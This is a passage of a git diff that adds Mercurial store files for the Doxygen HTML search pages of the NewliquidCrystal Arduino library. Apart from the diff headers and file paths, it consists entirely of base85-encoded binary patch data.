z!W!&WOVo7M)HP(uc3s#xwLkUFT6C$w*L*L0TfPhXszO!VtNg_oLg+eQ^R-xyQsSNd z$nJY$G=$!8H0Z++Eh<7T)C-==i>=UotJLStJjMCFU^mATGcJpP94IxygKGB)q+``f}5YELT&uQ`tSV3 z;fEmT2*tOB>y5ZZr#blWs+x)JVQ|h!J@!Oorp#FtVW}kG%eRTICwhyzWBSxW6d?(F nv^vgp@d*T00000000>O|NsC0|NsAbH1cPCed~P==|uj? zlv0vr7AOM%00000000000001ZoQ+gbPunmMe($d^-b;}dyFig(B$1%)v`VEzG-%sX zb&ZcEklLB;w&dT>PC{v?G4Yhk`TIWm?mIg?8h#%nzwSmPv#WyKJ={#j140ANf1C|C zA0|Wc^ILK|At$Uy5)IPiHdhh~&PP*9Xl8Bsh4bxp%eH4s=_OC@`HR;&@#HoP>>iT| zD`?ya{Yo5W2qF$`ZVQY<-h4aZ3M~+?9pLYEzKQ5SNsH13NmU{xY4aCRi!Zj><0{QS z8?@0w@-?`i+=&#qd?p%;h#FfJXfi}giFFDsF*SygOyi?NAm}t>KI5q-)p=?6u}`pp zCQFIY>5lPas5^JF;)uMirxPxes7P9XF%g~J-@y`n$s*s7T=>jb3VeA@?Qk;-cJ0pO zF%tzMmrEMA0b?xW4*fUh9?iP2wAGypu;6sbA!sD6u6&w=P$S0{S3OFUe8x(st&FHf zyVjC4Wi_IPO<~i;jcfJi-f@dAHG0jD!q?@8ux~A>Rtr_U+QJy07xQ#3<`)_BHh%&T zmw=ZiXAAKNi_@MEmwgbuKH{l3U-bIt&SB6?HwbiIf_C~e9$qKcA&0trQ-a*vEmdxw z;>lphGUuXO^Q~*!{I72BJ2b27sXf|-@42+ko2px|X@+icri!%jE9<|L7l%hd&=D$K zuUuiwRXHlqhd0$&bax|j%<6$>A~$6LRYawdNUz=}zMbej>IU?oe(T=V zJ-+H3dfuSBE*}I3x2A2lzcuwG@=rtO4+E-;xBvhE00Kq;00002lK=n|3;+NC00000 zl>h($0RR90|Nb@LC<1JS6)Pyi0&-iyI(X}!bpQYW00000000000C=3W*UxU+FdV?~ zY{y;p3Q;PpAWby>lQ`+1QpI+tH0=PDcC`HG7swVMO9B<|)#utCVS^O5(a|b)*a1Z# z+ls&OM-h(m;@+u0uk*f6SFXxLSq{AMXawalt2{T=+izS`@9LF%IOM~;D%RVd-M*;D z-Bd91J$Etx3TwT%n-9DKs%0^EOAv*cJ}g=GK8aNaRxq#L`rX~=ynyYRO@}Y@Mq_{9 z>3BVpi_CMU1tbISi&%+L6=_~w9?rg9OePt0&g=c2cfG6kw0|M$4IXTKI88HMz`Wl3 z;qJL=7NA~Yf2)l>k5mrRWFlN+OF_i)VjS|qFTZv)<)xhJq*aWJ!2|L}(H)kmH-+io?AMRGa z!NcBW?wH-9H-Rz<4 zGBte~kB2v~jau3cYTJRKZDeB`S=mPBwozN#SZhsDL^P#ThZ^BXNiB7V!x$*|>e!hK z%xxnZ+sMi`GPjM|+dgH-6W9(L+Quffv6*dbU>moz9oDu(L)+NKHny^j&28hhwplDt zBv=wCl`z4SASfX|-k!<;GZ7v;lcBk7Y-1Z+*~aF!aeLdR?05p(tf6gUVw;%RCI+@i zOWUlr%?xc58{5RnHZiwNTEDlYU{T@+v0xxUsyF~90g^EGA&T_TGs(l#|?~ddAJV;GVxKcB&)PO5}nrq#3a}G6+rn`PZ#{yzRq)vpy bzSc1n+NS_m2hyj(v3}RL*L9*_?Qe`L{7Z>r literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__65.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__65.html.i new file mode 100644 index 0000000000000000000000000000000000000000..4c882d086db8eeaefc292436f3f68013e4369e79 GIT binary patch literal 1378 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 DSTsB| literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6259b619ee136bbb026f230b38cc8adb2fcdb430 GIT binary patch literal 3350 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__72.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__72.html.i new file mode 100644 index 0000000000000000000000000000000000000000..222f1ba36a45c48b7e0116a74d51406774989b04 GIT binary patch literal 1198 zcmV;f1X23{0RRC20000000N5u00uq)00000000>O|NsC0|NsBh)-ZrHOW(!)6G^uX zVi)4@rMre&<(s-V2o$8yZT(n&hFBX-Je+K-KLj za_uWg8rxtzc6&Uc^h{0~>(hKnCJBNXdZif(Q%C*vW)4yAYQ zkkYHg75e^laXmp@(m@N!GL`5g&sa+7Xo?YzwJttWy4`Nc)+M=I(#4EE+gM#oZcIn- zF^SLuhb`ZpgnkT6guYI63ZYNyZ_8hSX2`~N;O9Eo1bCQd8ZzxH$^tOr^VPhKosdLhx3kf#nvG8?q6!x_NCkQImLjQx~v_#I=D^nyf6^~M|=4Ck+?cGqHkZL6nk*FeNWq`9h1AOr|@%2V; zQ8!E;YKsDt!4}Q;eQkUI!6z53!}n05+s5xW2Yan)xZP{jnzPHh^$SU}8D#(f0007u z000000iyr_3g!R+000000F?j$00960|NnnObk%Ina})PLZOUGBjGK^Zb1nb?00000 z00000004NLwUggY!Y~wvXY|UaSZX4W=ve6(1A!Z^OpF(s371W64=^3uY&!_=;j8#q zzJr5c`~#Y8;ze)TbAIXhaz4X2dNqvW%ltf>W}lg%7@%tna~qjS{0J+NEaL%^pfeep z3Yg?GA5<1;W!_M7>t4o`D0Gs8G}+3~X&*zKrAiGD9H;3xj0pUaJ(j zDt_Whe&X_e;y?Sz9RY$6#%<0VB4ENfxTFhRx7~3(wr{V-<^9A}{KS>~#O3|O2k`TN M9QXVA1`_LVv?k#<=l}o! literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c4ea3d145a610bcb6f1de72027c7cffbc2c98965 GIT binary patch literal 3482 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__74.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__74.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5ed9072a4cfb178666a809a3ee7bf07d6e456102 GIT binary patch literal 671 zcmV;Q0$}|B0RRC20000000LhC00hDS00000000>O|NsC0|Ns9^MYn4#7u)Qav$vTK zHJ4r5o6A=K00000000000001ZoQ+gXQ`;~Qz2{d5^%7=kDU{C^+Xq5A%}fYPVutqQ zQ6wccIFc)EV*Kwb*#?qM>2UIT{oa1PU55wPx5MPu-3Vo{F3{cm)nq(GIH2_5cu47W za*cleNNy(Rhzw9-n6f$KTCsxC(G(+`0hHe;t*VMt$3&YIO=k4j$2#)l&J19ONdyQS z_d@?A4l~I_96}C-j6>Q!d*NCFLq2vOe{b?_goj#zR1hR}DKX;hTZBPAL!0B0XUtd$ z(S7ngxWLo}DRT9Mj4UE-p)RD&qy&t>Md*m!T8uIymkuGB;TiEBPqp0SCG27!*_O3l zjI80Wj7N)I-R&1gq)k7)aG^zwc)_fV@O*a1R?@dD@-51R_l%X0&o8c5+#DEeTumM` z(M;rOh2zd3goM1B|qKlC{v4 zim;KeF$%TKwV^GUvTa{(-M~K&4m)&dq>uSg_@?|2_H7XLdZCLKaR{Mlk-J3@DL1tR zR-|caQCLNpEc&mDbx4}CAR@PA!RiPr ztt7sDpZHeMd( z^QMGJ$3wpW00000000000001ZoQ+gXbJ{Qvz4I#+^+IN92}qNW#`YmVC(IDa1ZUcw zJi=bE6Ct^h`0&54WIF^pO(!Ro)q79ceY^J0hTjL#uh|G?X3f#;>25L}AnZ~4<6=PR zFdCwt_tC=ybx8+BiV2;YTnff19ZfO9nK8vzN_V>**m(SeufA&HxNX#ws+#L~D#P1xt$nrjm@fjHBvA<%K!MKC>;W zvlwZW92n0U+jrL|mPo65TK+<&B}zEcI>7VC8C!uXInB2yPhDm#QrN$y4!F5tW@F#v zFcZnrT&!@|1cVTuTJ+zXN6;H?aHAWW_;R^m$qUa{Ss}T-0-fSV!l=@vk~=11Y1;zQWCZj|eVt)Ov;5E}D1 ziPN~B5$E_P1^~hy5Ot~u#f`q?fb;H7rjT_ vGIeSs3Xp&unjh!d_ymH_Z(FD4*XXv*d)~<=H4S&0R4tbKT(tfGH)4}dzi>on literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enumvalues__6e.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enumvalues__6e.html.i new file mode 100644 index 0000000000000000000000000000000000000000..7449bce199db6adcb5b3be368d8fd4f3a422cb07 GIT binary patch literal 685 zcmV;e0#f||0RRC20000000M0Q00hMV00000005Q$|NsC0|NsA&EKNQA0F_k1V|%6n(lSG6COG{# zF~VN36C=BlfcW26vK<1QrjwJ`tM^vB`*!7>jlK=TUw31as7;3M9r_Ux<*N_|2Qb$Y@ zs~86@&zuBa0xS+Zm8uK^kJjIow*keFiEY8}ZMyUEFy{)mvcj?ejH3F_#|oZReaBUl zFd;$t58;i~$5aQ&QvQSlWImRv%s?gp3L~W>G{i_sj1mDWjQ}R1gcy&Z%1ESzI>tV- z9jm<l00+RXr_lna3rHGA5;u=l6GP4W{Hc-Jvu#o(YfP`Neg>%@tEy zos+>#a~7w3jf2J@gm_e=|K{9-+-3?laTgrcOr<+>9XbV$xe}#uBac<+iGocBqntlM z8RvWMV*zR_II2sl14}YvyEg1}yFYf$8+0MS#C$J&Tf7VV+Jg$ySrkp?OsNX-LnU-+jUm1 z+Zps7TaN(~YdtM^Q81wsz`<<%<#RasKK3Z9dL#?Rk5YNKJz}#QHTDbZzatuWXO`89^Ju%##SvZUI0Iu|my@`C zn5}bCZ3c-`S!AsAG0!>RtG9`-8NEf_F>xv~@)3tUnjibx_ymH_uUe;rQKQ@1Z&@en T)im6!SG8^C4Qc%WFiMs6*lav( literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enumvalues__70.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enumvalues__70.html.i new file mode 100644 index 0000000000000000000000000000000000000000..ed33c4a100bf94ab72710361f9e334ab75c982b2 GIT binary patch literal 683 zcmV;c0#y9~0RRC20000000L_O00hMV00000005Q$|NsC0|NsAG9x^%RAakkZCI+1- z1kHAeF5f`_00000000000001ZoQ+gXbJ{Qvz4I#+^+IN9$$&|qv3&^8DKmsH!Rg0| zk?jRLF|sQOi2r>h+ab_tIyrg0dT+J6Z&&Wc_ zNKoEm@YNb%s)J-He?|f_4@*^MAQJ$EknaWiFMxfi6+vjo|YTtafzagN$KI`!-8$VlpLpfl*Yz0n^B_vSiu4xDf$O5;W@tI$&gTN|UCKSLSk z2kv13Y9~0VORED*GH3fX>~*_8+m{Wx5MW|{6uv7ygnes6xefE|RT@I*DqBUXcr{3f zk@^z@fc15E5U!o;?p60{z*rxK!``sNI(@qvM$GQTj$?;mxDIWn%hu7L-*c|l!=V#8 z&N}StF<@e&rvTBaO2)?{&oexHhZfn0~ovl~X RaI;?3wwX7i^#||mmtd2*N(le} literal 0 